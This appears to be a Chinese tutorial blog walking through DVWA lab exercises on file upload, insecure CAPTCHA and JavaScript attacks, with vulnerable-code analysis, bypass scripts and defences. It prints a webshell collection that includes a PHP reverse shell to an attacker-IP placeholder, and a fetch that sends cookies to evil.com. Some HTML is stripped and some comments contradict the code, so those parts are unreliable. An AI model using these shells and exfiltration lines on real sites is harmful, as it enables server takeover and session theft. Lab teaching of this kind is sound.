$allowed = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array($ext, $allowed)) {
    die('Invalid file type');
}

// 2. 检查MIME类型（不可完全信任，作为辅助）
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
    die('Invalid MIME type');
}

// 3. 检查文件内容（最可靠）
if (!getimagesize($_FILES['file']['tmp_name'])) {
    die('Not a valid image');
}

2. 文件重命名

1
2
3

// 使用随机名称
$new_name = md5(uniqid(rand(), true)) . '.' . $ext;
$target = 'uploads/' . $new_name;

3. 文件大小限制

// 限制文件大小
$max_size = 2 * 1024 * 1024; // 2MB
if ($_FILES['file']['size'] > $max_size) {
    die('File too large');
}

4. 存储在Web根目录外

// 存储在不可访问的目录
$upload_dir = '/var/data/uploads/';  // Web根目录外

// 提供下载脚本

// download.php
$file = $_GET['file'];
// 验证文件
header('Content-Type: application/octet-stream');
readfile($upload_dir . $file);
?>

5. 图片重新渲染（推荐）

// 重新渲染图片（移除恶意代码）
if ($ext == 'jpg' || $ext == 'jpeg') {
    $img = imagecreatefromjpeg($_FILES['file']['tmp_name']);
    imagejpeg($img, $target, 90);
} elseif ($ext == 'png') {
    $img = imagecreatefrompng($_FILES['file']['tmp_name']);
    imagepng($img, $target, 9);
}

6. 设置正确的权限

# 上传目录权限
chmod 755 uploads/

# 上传的文件权限（不可执行）
chmod 644 uploaded_file.jpg

# 禁止执行PHP
# .htaccess
php_flag engine off

系统层面

1. 禁止上传目录执行PHP

.htaccess：

# 禁止执行PHP
php_flag engine off

# 或
"\.php$">
    Order Deny,Allow
    Deny from all


# 或移除PHP处理器
RemoveHandler .php
RemoveType .php

Nginx配置：

location /uploads/ {
    # 禁止执行PHP
    location ~ \.php$ {
        deny all;
    }
}

2. 使用专门的上传目录

1 2	// 上传到独立域名或子域名 // uploads.example.com（没有PHP执行权限）

3. 扫描病毒

// 使用ClamAV扫描
exec("clamscan " . escapeshellarg($file), $output, $return);
if ($return != 0) {
    die('File contains malware');
}

框架层面

Laravel示例

// 使用Laravel的文件验证
$request->validate([
    'avatar' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048',
]);

// 存储文件
$path = $request->file('avatar')->store('avatars', 'public');

总结对比

特性	Low	Medium	High	Impossible
扩展名检查	❌	❌	✅ 白名单	✅ 白名单
MIME检查	❌	✅（客户端）	❌	❌
文件内容检查	❌	❌	✅ getimagesize	✅ getimagesize
文件重命名	❌	❌	❌	✅ MD5
图片重渲染	❌	❌	❌	✅ GD库
CSRF防护	❌	❌	❌	✅ Token
攻击难度	极易	简单	中等	极难
可上传Shell	✅	✅	✅（图片马）	❌

常用WebShell集合

最简单

1	system($_GET['cmd']); ?>

一句话木马

1
2
3

 @eval($_POST['cmd']); ?>
 @assert($_POST['cmd']); ?>
 $a=$_POST['cmd'];$a($_POST['arg']); ?>

带密码的Shell


if(md5($_POST['pass']) == '5f4dcc3b5aa765d61d8327deb882cf99') {
    system($_POST['cmd']);
}
?>

反弹Shell


$sock = fsockopen("攻击者IP", 4444);
$proc = proc_open("/bin/sh", [0=>$sock, 1=>$sock, 2=>$sock], $pipes);
?>

实战建议

学习路径：

Low难度 - 理解文件上传漏洞基础
Medium难度 - 学习绕过MIME检查
High难度 - 掌握图片马技术
Impossible难度 - 理解完善的防御

攻击技巧：

结合文件包含漏洞利用图片马
尝试上传.htaccess
测试双扩展名
使用Burp Suite修改请求

工具推荐：

Burp Suite - 修改上传请求
中国菜刀 - WebShell管理
蚁剑 - 现代WebShell管理
Weevely - 隐蔽WebShell

道德准则：

只在授权环境测试
不上传恶意文件到真实网站
学习是为了防御，保护系统安全

DVWA - Insecure CAPTCHA (不安全的验证码) 攻防练习详解

2025-11-20T15:31:37.109Z

漏洞简介

什么是Insecure CAPTCHA（不安全的验证码）？

CAPTCHA（Completely Automated Public Turing test to tell Computers and Humans Apart）是一种区分人类和机器的验证机制。不安全的CAPTCHA实现允许攻击者绕过验证，自动化执行敏感操作。

CAPTCHA的目的：

防止机器人自动化攻击
防止暴力破解
防止垃圾邮件
防止自动注册

危害：

绕过人机验证
自动化暴力破解
批量注册账户
垃圾信息发送
拒绝服务攻击

DVWA场景：
修改密码功能，使用reCAPTCHA验证。

Low 难度

攻击目标

CAPTCHA验证完全失效，可直接绕过。

后端代码分析

步骤1：显示验证码（index.php）



// 检查是否点击了"Change"按钮
// isset() - 检查变量是否存在
if( isset( $_POST[ 'Change' ] ) ) {

    // ★★★ 问题：将step参数通过隐藏字段传递到下一步 ★★★
    // 攻击者可以直接跳过验证码检查，访问step=2

    // 获取用户输入
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // 检查两次密码是否一致
    if( $pass_new == $pass_conf ) {

        // ★★★ 危险操作：在客户端设置step=2 ★★★
        // 使用隐藏字段传递step参数
        // 攻击者可以修改这个值
        echo "
        
            
            {$pass_new}\" />
            {$pass_conf}\" />
        ";

        // ★★★ 显示reCAPTCHA ★★★
        // reCAPTCHA - Google提供的验证码服务
        // 但Low难度下，验证码检查可以被绕过
        echo "
            
            

            
        ";

    }
    else {
        echo 'Both passwords must match.
';
    }
}

?>

步骤2：验证并修改密码



// ★★★ 检查step参数 ★★★
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {

    // 获取密码
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // 检查密码是否一致
    if( $pass_new == $pass_conf ) {

        // ★★★ 核心漏洞：不验证reCAPTCHA响应！ ★★★
        // 虽然前端显示了reCAPTCHA
        // 但后端完全不检查用户是否通过了验证码
        // 只要step=2，就直接修改密码

        // MD5加密新密码
        $pass_new = md5( $pass_new );

        // ★★★ SQL注入漏洞：直接拼接SQL ★★★
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );

        // 更新密码
        $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
        $result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

        // 密码修改成功
        echo 'Password Changed.
';
    }
    else {
        echo 'Passwords did not match.
';
    }

    mysql_close();
}

?>

漏洞分析

核心问题：

step参数在客户端控制 - 通过隐藏字段传递
后端不验证reCAPTCHA - 只检查step=2
可以直接跳到step 2 - 绕过验证码
SQL注入漏洞 - 直接拼接SQL语句

攻击流程：

正常流程：
1. 输入新密码 → 2. 显示验证码 → 3. 验证通过 → 4. 修改密码

绕过流程：
1. 直接发送step=2的请求 → 2. 修改密码成功

攻击步骤

方法1：直接跳过验证码

使用Burp Suite：

打开Burp Suite，开启拦截
在DVWA输入新密码，点击Change
Burp拦截到第一个请求（step=1）
直接发送第二个请求（step=2）

第一个请求（正常）：

POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
...

password_new=newpass123&password_conf=newpass123&Change=Change

第二个请求（绕过验证码）：

POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
...

step=2&password_new=newpass123&password_conf=newpass123&Change=Change

直接发送第二个请求，密码修改成功，无需验证码！

方法2：修改隐藏字段

在浏览器按F12打开开发者工具
在Console中执行：

// 修改step值
document.querySelector('input[name="step"]').value = '2';

// 或直接提交表单
var form = document.querySelector('form');
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'step';
input.value = '2';
form.appendChild(input);
form.submit();

方法3：使用curl命令

# 直接发送step=2的请求
curl -X POST "http://dvwa.local/dvwa/vulnerabilities/captcha/" \
  --cookie "security=low; PHPSESSID=你的session" \
  --data "step=2&password_new=hacked&password_conf=hacked&Change=Change"

方法4：Python脚本自动化

import requests

# 配置
url = "http://dvwa.local/dvwa/vulnerabilities/captcha/"
cookies = {
    'security': 'low',
    'PHPSESSID': '你的session值'
}

# 直接发送step=2请求
data = {
    'step': '2',
    'password_new': 'hacked123',
    'password_conf': 'hacked123',
    'Change': 'Change'
}

response = requests.post(url, data=data, cookies=cookies)

if 'Password Changed' in response.text:
    print("[+] 密码修改成功！")
else:
    print("[-] 修改失败")

Medium 难度

攻击目标

后端验证reCAPTCHA，但验证逻辑有缺陷。

后端代码分析



if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {

    // 获取密码
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    if( $pass_new == $pass_conf ) {

        // 显示reCAPTCHA表单
        echo "
        
            
            {$pass_new}\" />
            {$pass_conf}\" />
            
            

            
        ";

    }
    else {
        echo 'Both passwords must match.
';
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {

    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    if( $pass_new == $pass_conf ) {

        // ★★★ 新增：验证reCAPTCHA ★★★
        // $_POST['g-recaptcha-response'] - reCAPTCHA响应token
        $recaptcha = $_POST[ 'g-recaptcha-response' ];

        // ★★★ 调用reCAPTCHA API验证 ★★★
        // file_get_contents() - 读取文件内容（这里是HTTP请求）
        // Google reCAPTCHA验证API
        // secret - 服务器端密钥
        // response - 用户的reCAPTCHA响应
        // remoteip - 用户IP地址
        $response = file_get_contents(
            'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER[ 'REMOTE_ADDR' ]
        );

        // ★★★ 解析JSON响应 ★★★
        // json_decode() - 将JSON字符串转换为对象
        // 响应格式：{"success": true/false, ...}
        $response = json_decode( $response );

        // ★★★ 关键漏洞：只检查passed_captcha，不检查success ★★★
        // 问题：
        // 1. 如果不发送g-recaptcha-response，$response为null
        // 2. 或者发送错误的response，success为false
        // 3. 但只要设置了$_POST['passed_captcha']，就能绕过
        if( $response->success ) {

            // 验证通过，设置passed_captcha
            // ★★★ 问题：使用$_POST设置标志 ★★★
            // $_POST是用户可控的！
            $_POST[ 'passed_captcha' ] = 'true';
        }
        else {
            // 验证失败
            $_POST[ 'passed_captcha' ] = 'false';
        }
    }

    // ★★★ 核心漏洞：检查$_POST['passed_captcha'] ★★★
    // 问题：$_POST是用户可控的！
    // 攻击者可以直接在请求中添加passed_captcha=true
    if( $_POST[ 'passed_captcha' ] == 'true' ) {

        // 修改密码
        $pass_new = md5( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

        $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

        echo 'Password Changed.
';
    }
    else {
        echo 'CAPTCHA verification failed!
';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

reCAPTCHA API验证 - 调用Google API验证
检查success字段 - 验证reCAPTCHA响应

仍存在的漏洞

核心问题：

// 设置标志
$_POST['passed_captcha'] = 'true';

// 检查标志
if ($_POST['passed_captcha'] == 'true') {
    // 修改密码
}

问题：$_POST是用户可控的！

攻击者可以直接在POST数据中添加passed_captcha=true

绕过方法

方法1：直接添加passed_captcha参数

使用Burp Suite：

拦截step=2的请求，添加参数：

POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
...

step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change

方法2：使用curl

1
2
3

curl -X POST "http://dvwa.local/dvwa/vulnerabilities/captcha/" \
  --cookie "security=medium; PHPSESSID=你的session" \
  --data "step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change"

方法3：Python脚本

import requests

url = "http://dvwa.local/dvwa/vulnerabilities/captcha/"
cookies = {
    'security': 'medium',
    'PHPSESSID': '你的session'
}

data = {
    'step': '2',
    'password_new': 'hacked123',
    'password_conf': 'hacked123',
    'passed_captcha': 'true',  # 关键：直接添加这个参数
    'Change': 'Change'
}

response = requests.post(url, data=data, cookies=cookies)

if 'Password Changed' in response.text:
    print("[+] 绕过成功！密码已修改")
else:
    print("[-] 绕过失败")

High 难度

攻击目标

使用SESSION存储验证状态，更安全但仍可绕过。

后端代码分析



if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {

    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    if( $pass_new == $pass_conf ) {

        // 显示reCAPTCHA
        echo "
        
            
            {$pass_new}\" />
            {$pass_conf}\" />
            
            

            
        ";

    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {

    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    if( $pass_new == $pass_conf ) {

        // 验证reCAPTCHA
        $recaptcha = $_POST[ 'g-recaptcha-response' ];
        $response = file_get_contents(
            'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER[ 'REMOTE_ADDR' ]
        );
        $response = json_decode( $response );

        // ★★★ 改进：使用SESSION存储验证状态 ★★★
        // $_SESSION - 服务器端会话变量
        // 存储在服务器，客户端无法直接修改
        if( $response->success ) {
            $_SESSION[ 'passed_captcha' ] = true;
        }
        else {
            $_SESSION[ 'passed_captcha' ] = false;
        }
    }

    // ★★★ 检查SESSION中的验证状态 ★★★
    // 比Medium更安全，因为SESSION在服务器端
    if( $_SESSION[ 'passed_captcha' ] ) {

        // 修改密码
        $pass_new = md5( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

        $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

        echo 'Password Changed.
';

        // ★★★ 问题：修改密码后不清除SESSION标志 ★★★
        // 一旦通过验证码，SESSION['passed_captcha']一直为true
        // 可以重复使用！
    }
    else {
        echo 'CAPTCHA verification failed!
';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

使用SESSION存储 - 服务器端存储，客户端无法修改

仍存在的漏洞

核心问题：

if( $response->success ) {
    $_SESSION['passed_captcha'] = true;
}

// 修改密码后，不清除SESSION标志
// 问题：可以重复使用！

一旦通过一次验证码，SESSION中的passed_captcha永久为true，可以无限次修改密码！

绕过方法

方法：通过一次验证码，然后重复使用

步骤：

正常完成一次验证码验证
SESSION中passed_captcha被设置为true
之后可以不断发送step=2请求修改密码
无需再次验证验证码

Python脚本：

import requests

url = "http://dvwa.local/dvwa/vulnerabilities/captcha/"
session = requests.Session()

# 第一步：登录DVWA
login_url = "http://dvwa.local/dvwa/login.php"
login_data = {
    'username': 'admin',
    'password': 'password',
    'Login': 'Login'
}
session.post(login_url, data=login_data)

# 第二步：设置安全级别
session.get("http://dvwa.local/dvwa/security.php?security=high")

# 第三步：手动完成一次验证码（或使用自动识别）
print("[*] 请在浏览器中手动完成一次验证码验证")
input("[*] 完成后按Enter继续...")

# 第四步：循环修改密码（无需再验证）
for i in range(10):
    data = {
        'step': '2',
        'password_new': f'hacked{i}',
        'password_conf': f'hacked{i}',
        'Change': 'Change'
    }

    response = session.post(url, data=data)

    if 'Password Changed' in response.text:
        print(f"[+] 第{i+1}次修改成功：hacked{i}")
    else:
        print(f"[-] 第{i+1}次修改失败")

Impossible 难度

攻击目标

完善的CAPTCHA验证，无法绕过。

后端代码分析



if( isset( $_POST[ 'Change' ] ) ) {

    // ★★★ 改进1：验证Anti-CSRF token ★★★
    // checkToken() - 验证CSRF token
    // 防止跨站请求伪造
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // ★★★ 改进2：验证当前密码 ★★★
    // 即使绕过CAPTCHA，也需要知道当前密码
    $pass_curr = $_POST[ 'password_current' ];
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // 清理输入
    $pass_curr = stripslashes( $pass_curr );
    $pass_new  = stripslashes( $pass_new );
    $pass_conf = stripslashes( $pass_conf );

    // MD5加密当前密码
    $pass_curr = md5( $pass_curr );

    // 转义
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // ★★★ 核心防护1：验证当前密码 ★★★
    // 查询数据库验证当前密码是否正确
    $query  = "SELECT password FROM `users` WHERE user = '" . $_SESSION[ 'username' ] . "' AND password = '$pass_curr';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    // ★★★ 核心防护2：reCAPTCHA验证 ★★★
    $recaptcha = $_POST[ 'g-recaptcha-response' ];
    $response = file_get_contents(
        'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER[ 'REMOTE_ADDR' ]
    );
    $response = json_decode( $response );

    // ★★★ 多重验证 ★★★
    // 条件1：当前密码正确
    // 条件2：新密码和确认密码一致
    // 条件3：reCAPTCHA验证通过
    if( ( $result && ( mysqli_num_rows( $result ) == 1 ) ) && ( $pass_new == $pass_conf ) && $response->success ) {

        // 所有验证通过，修改密码
        $pass_new = md5( $pass_new );

        $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

        echo 'Password Changed.
';
    }
    else {
        // 验证失败（不透露具体原因，安全实践）
        echo 'Either your current password is incorrect or the reCAPTCHA was invalid.
';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

完善的防护机制

多层防御：

CSRF Token - 防止跨站请求伪造
验证当前密码 - 必须知道旧密码
reCAPTCHA验证 - 每次都验证
新密码确认 - 两次输入一致
不泄露错误信息 - 不透露失败原因

为什么无法绕过？

攻击者的困境：

1. 需要有效的CSRF Token ← 每次都不同
2. 需要知道当前密码 ← 攻击者不知道
3. 需要通过reCAPTCHA ← 每次都验证
4. 所有条件必须同时满足

即使绕过CAPTCHA，也无法修改密码（因为不知道当前密码）

防御建议

代码层面

1. 正确验证reCAPTCHA

// 正确的验证方式
if (isset($_POST['g-recaptcha-response'])) {
    $recaptcha = $_POST['g-recaptcha-response'];

    $response = file_get_contents(
        'https://www.google.com/recaptcha/api/siteverify?secret=' . $secret_key .
        '&response=' . $recaptcha .
        '&remoteip=' . $_SERVER['REMOTE_ADDR']
    );

    $response = json_decode($response);

    // 检查success字段
    if ($response->success !== true) {
        die('reCAPTCHA verification failed');
    }
} else {
    die('reCAPTCHA is required');
}

2. 不使用客户端可控的变量存储状态

// 错误方式 ✗
$_POST['passed_captcha'] = 'true';
if ($_POST['passed_captcha'] == 'true') { ... }

// 正确方式 ✓
$_SESSION['passed_captcha'] = true;
if ($_SESSION['passed_captcha'] === true) { ... }

3. 使用后立即清除验证状态

// 验证通过
$_SESSION['captcha_verified'] = true;

// 执行敏感操作
if ($_SESSION['captcha_verified']) {
    // 修改密码

    // 立即清除标志
    unset($_SESSION['captcha_verified']);
}

4. 使用token机制

// 生成一次性token
$token = bin2hex(random_bytes(32));
$_SESSION['captcha_token'] = $token;

// 验证后检查token
if (isset($_POST['captcha_token']) &&
    isset($_SESSION['captcha_token']) &&
    hash_equals($_SESSION['captcha_token'], $_POST['captcha_token'])) {

    // token有效
    unset($_SESSION['captcha_token']); // 立即删除
}

5. 添加额外的安全措施

// 要求输入当前密码
$current_pass = md5($_POST['current_password']);
$query = "SELECT * FROM users WHERE user='$username' AND password='$current_pass'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) != 1) {
    die('Current password incorrect');
}

// CAPTCHA验证
if (!verify_recaptcha($_POST['g-recaptcha-response'])) {
    die('CAPTCHA verification failed');
}

// 都通过后才修改密码

最佳实践

使用reCAPTCHA v3 - 更智能，用户体验更好
服务器端验证 - 绝不信任客户端
一次性使用 - 验证后立即清除状态
多因素验证 - CAPTCHA + 密码 + 邮箱验证
限制尝试次数 - 防止暴力破解

总结对比

特性	Low	Medium	High	Impossible
CAPTCHA验证	❌ 不验证	✅ 验证但有缺陷	✅ SESSION存储	✅ 完善验证
状态存储	客户端(step)	客户端($_POST)	服务端($_SESSION)	N/A
验证位置	❌ 无	后端	后端	后端
可重用性	N/A	❌ 可绕过	✅ 可重用	❌ 不可重用
当前密码验证	❌	❌	❌	✅
CSRF防护	❌	❌	❌	✅
攻击难度	极易	简单	中等	极难

实战建议

学习路径：

Low难度 - 理解step参数绕过
Medium难度 - 学习$_POST劫持
High难度 - 理解SESSION重用
Impossible难度 - 掌握完善的防御

攻击技巧：

使用Burp Suite修改请求参数
理解客户端vs服务器端验证
观察SESSION行为
自动化测试脚本

防御重点：

服务器端验证CAPTCHA
不使用客户端可控变量
验证后清除状态
添加多层安全措施

道德准则：

只在授权环境测试
理解是为了构建更安全的系统

DVWA - JavaScript Attacks 攻防练习详解

2025-11-20T15:31:37.109Z

漏洞简介

什么是JavaScript Attacks（JavaScript攻击）？

JavaScript攻击是指通过客户端JavaScript代码的漏洞进行的攻击，包括客户端逻辑绕过、JavaScript代码分析、原型链污染、DOM破坏等。

JavaScript攻击的类型：

客户端验证绕过 - 修改或禁用JavaScript验证
逻辑漏洞利用 - 利用JavaScript代码中的逻辑错误
代码混淆破解 - 反混淆获取敏感信息
原型链污染 - 污染Object.prototype
DOM Clobbering - 通过HTML元素ID/name覆盖全局变量
JavaScript注入 - 向JavaScript上下文注入恶意代码
WebAssembly攻击 - 利用WASM的漏洞

危害：

绕过客户端安全检查
获取隐藏的敏感信息
修改程序逻辑
执行未授权操作
窃取令牌和密钥

DVWA场景：
一个JavaScript验证的表单，用户需要通过token验证才能提交。

关键原则：

永远不要信任客户端！所有安全验证都应在服务器端进行。

Low 难度

攻击目标

客户端JavaScript包含明文token，可直接获取。

前端代码分析

html>
<html>
<head>
    <title>JavaScript Attacks - Lowtitle>
head>
<body>
    <h1>JavaScript Attack Testh1>

    <p>Submit the phrase "success" to win!p>

    <form id="submitForm">
        <input type="text" id="phrase" name="phrase" placeholder="Enter phrase">
        <button type="submit">Submitbutton>
    form>

    <div id="result">div>

    <script>
    // ★★★ 核心漏洞：token硬编码在客户端 ★★★
    // 任何人都可以查看源代码获取token
    // 这是最严重的安全错误之一
    var token = "success";

    // 表单提交处理
    document.getElementById('submitForm').addEventListener('submit', function(e) {
        e.preventDefault();

        // 获取用户输入
        var phrase = document.getElementById('phrase').value;

        // ★★★ 危险操作：客户端验证 ★★★
        // 问题：
        // 1. token明文存储在JavaScript中
        // 2. 验证完全在客户端进行
        // 3. 攻击者可以直接查看token
        // 4. 可以禁用JavaScript绕过验证
        if (phrase === token) {
            // 验证通过
            document.getElementById('result').innerHTML =
                '✓ Correct! Well done!
';

            // ★★★ 问题：在客户端显示敏感信息 ★★★
            // 实际应用中可能是：
            // - API密钥
            // - 数据库凭证
            // - 管理员令牌
            // - 加密密钥
            console.log('Token validated: ' + token);
            console.log('Secret data: admin_password_123');

        } else {
            // 验证失败
            document.getElementById('result').innerHTML =
                '✗ Invalid phrase
';
        }
    });

    // ★★★ 更危险的做法：在JavaScript中存储敏感数据 ★★★
    var config = {
        apiKey: 'sk-1234567890abcdef',
        apiSecret: 'secret_key_do_not_share',
        adminToken: 'admin_token_12345',
        databasePassword: 'db_pass_456'
    };

    // ★★★ 问题：使用eval()或Function()执行动态代码 ★★★
    // 如果有输入可以影响这些，就会导致代码注入
    function executeCommand(cmd) {
        // 极度危险！
        eval(cmd);
    }

    // ★★★ 问题：敏感逻辑暴露 ★★★
    function isAdmin() {
        // 这种检查毫无意义，因为攻击者可以直接调用grantAdminAccess()
        return true;
    }

    function grantAdminAccess() {
        console.log('Admin access granted!');
        window.location = '/admin/dashboard';
    }
    script>
body>
html>

漏洞分析

核心问题：

明文token - 直接写在JavaScript中
客户端验证 - 所有验证在浏览器进行
敏感信息泄露 - API密钥、密码等存储在JS
可绕过的逻辑 - 攻击者可以直接调用函数
使用eval() - 可能导致代码注入

数据流：

1
2
3

用户输入 → JavaScript验证 → 客户端显示结果

问题：服务器完全不参与验证！

攻击步骤

步骤1：查看源代码获取token

方法1：右键查看源代码

1. 右键点击页面
2. 选择"查看源代码"
3. 搜索"token"或"success"
4. 找到：var token = "success";

方法2：使用DevTools

1. 按F12打开开发者工具
2. 切换到"Sources"标签
3. 查看内联JavaScript
4. 找到token变量

方法3：直接在Console查看

1
2
3

// 在Console中输入
console.log(token);
// 输出：success

步骤2：提取所有敏感信息

// 在Console中执行
console.log(token);           // success
console.log(config.apiKey);   // sk-1234567890abcdef
console.log(config.apiSecret); // secret_key_do_not_share
console.log(config.adminToken); // admin_token_12345

步骤3：绕过验证直接调用函数

// 直接调用敏感函数
grantAdminAccess();
// 结果：直接跳转到admin页面

// 或修改DOM
document.getElementById('result').innerHTML =
    '✓ Hacked!
';

步骤4：禁用JavaScript验证

方法1：修改HTML

// 在Console中
document.getElementById('submitForm').onsubmit = null;
// 或
document.getElementById('submitForm').removeEventListener('submit', ...);

方法2：直接发送请求

// 使用fetch绕过前端验证
fetch('/submit', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({phrase: 'anything'})
});

步骤5：利用eval()执行任意代码

1
2
3

// 如果应用允许用户输入影响eval()
executeCommand('alert("XSS")');
executeCommand('fetch("http://evil.com/?cookie=" + document.cookie)');

步骤6：提取完整的JavaScript代码

// 获取所有全局变量
console.log(Object.keys(window));

// 获取所有函数
Object.keys(window).forEach(key => {
    if (typeof window[key] === 'function') {
        console.log(key + ':', window[key].toString());
    }
});

Medium 难度

攻击目标

token被简单编码或混淆，但可以破解。

前端代码分析

<script>
// ★★★ Medium难度：简单混淆 ★★★

// 方法1：Base64编码（极易破解）
// btoa() - 将字符串编码为Base64
// atob() - 将Base64解码为字符串
var encodedToken = "c3VjY2Vzcw=="; // Base64("success")

function checkPhrase(input) {
    // ★★★ 问题：解码逻辑在客户端 ★★★
    // atob() - Base64解码
    // 攻击者可以轻易破解
    var decoded = atob(encodedToken);

    if (input === decoded) {
        return true;
    }
    return false;
}

// 方法2：简单的字符串操作（毫无安全性）
var obfuscatedToken = "sseccus"; // "success"的反转

function validateInput(input) {
    // ★★★ 问题：反转逻辑暴露 ★★★
    // 攻击者可以看到split().reverse().join()
    // 轻易推断出原始值
    var token = obfuscatedToken.split('').reverse().join('');

    return input === token;
}

// 方法3：简单的XOR加密（不安全）
function xorEncrypt(str, key) {
    let result = '';
    for (let i = 0; i < str.length; i++) {
        // ★★★ XOR操作 ★★★
        // charCodeAt() - 返回字符的Unicode码
        // String.fromCharCode() - 从Unicode码创建字符
        // ^ - XOR运算符
        result += String.fromCharCode(
            str.charCodeAt(i) ^ key.charCodeAt(i % key.length)
        );
    }
    return result;
}

var key = "mykey";
var encryptedToken = xorEncrypt("success", key);

function verifyPhrase(input) {
    // ★★★ 问题：加密密钥和算法都在客户端 ★★★
    var decrypted = xorEncrypt(encryptedToken, key);
    return input === decrypted;
}

// 方法4：简单的字符替换
var substitutionMap = {
    's': 'x',
    'u': 'y',
    'c': 'z',
    'e': 'a'
};

var cipherToken = "xyzxyzz"; // "success"经过替换

function checkToken(input) {
    var plainToken = "";
    // ★★★ 问题：替换表完全暴露 ★★★
    // 攻击者可以轻易反向操作
    for (let char of cipherToken) {
        for (let [key, value] of Object.entries(substitutionMap)) {
